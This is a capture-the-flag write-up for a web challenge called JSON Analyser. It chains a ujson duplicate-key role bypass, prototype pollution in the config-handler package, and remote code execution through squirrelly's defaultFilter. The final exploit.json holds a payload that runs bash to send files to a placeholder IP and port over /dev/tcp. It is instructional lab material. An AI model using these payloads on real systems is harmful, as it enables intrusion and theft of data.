tl;dr
Json_Interoperability - /verify_roles?role=supersuperuseruser\ud800","name":"admin
Prototype_Pollution - {"constructor":{"prototype":{"test":"123"}}}
in config-handler
Challenge points: 1000Challenge Author: 1nt3rc3pt0r Source Code: here
Challenge Description Welcome to JSON Analyser. Verify your role and get Subscription ID. Then start looking into your dump json file.
Solution Part - I: Looking into the source, one can find that the player has to get subscription_code first inorder to upload a Json file.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if "superuser" in role: role=role.replace("superuser",'') if " " in role: return "n0 H3ck1ng" if len(role)>30: return "invalid role" data='"name":"user","role":"{0}"'.format(role) no_hecking=re.search(r'"role":"(.*?)"',data).group(1) if(no_hecking)==None: return "bad data :(" if no_hecking == "superuser": return "n0 H3ck1ng" data='{'+data+'}' try: user_data=ujson.loads(data) except: return "bad format"
The goal is to bypass waf and get subscription_code.
Payload:
/verify_roles?role=supersuperuseruser\ud800","name":"admin
This happens because of Character Truncation
while using ujson and last-key precedence
when duplicate keys exists. read_more_about_this
Part - II: After retrieving subscription_code, players can now upload their json file providing subscription_code and get it’s preview
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if(req.body.pin !== "673307-0496-1001122"){ return res.send('bad pin') } if (!req.files || Object.keys(req.files).length === 0) { return res.status(400).send('No files were uploaded.'); } uploadFile = req.files.uploadFile; uploadPath = __dirname + '/package.json' ; uploadFile.mv(uploadPath, function(err) { if (err) return res.status(500).send(err); try{ var config = require('config-handler')(); } catch(e){ const src = "package1.json"; const dest = "package.json"; fs.copyFile(src, dest, (error) => { if (error) { console.error(error); return; } console.log("Copied Successfully!"); }); return res.sendFile(__dirname+'/static/error.html') }
as you can see package.json
file is replaced with uploaded file and then it’s been loaded by var config = require('config-handler')();
config-handler is vulnerable to Prototype_Pollution
poc.json
1 2 3 4 5 6 { "constructor":{ "prototype": {"test":"works"} } }
poc.js
1 2 3 4 5 6 7 8 9 10 11 12 const express = require('express'); const app = express(); port = 8081 app.get('/', function (req, res) { const config = require('config-handler')(); console.log(test) console.log(config) }); var server= app.listen(port, () => { console.log(`Example app listening at http://localhost:${port}`) });
Part - III: From the Dockerfile it’s clear that user needs to get RCE inorder to retrieve flag. Now players need to Leverage the Prototype Pollution in config-handler
to gain RCE using squirrelly-js
module.
exploit.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 { "name": { "__proto__":{ "defaultFilter" : "e'));process.mainModule.require('child_process').execSync('/bin/bash -c \\'cat /* > /dev/tcp/<ip>/<port>\\'')//" } }, "version": "1.0.0", "description": "", "main": "app.js", "dependencies": { "config-handler": "^2.0.3", "express": "^4.17.1", "express-fileupload": "^1.2.1", "nodemon": "^2.0.12", "squirrelly": "^8.0.8" }, "devDependencies": {}, "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "", "license": "ISC" }
Why defaultFilter? see_here
Flag: inctf{Pr0707yp3_P011u710n5_4r3_D34dly}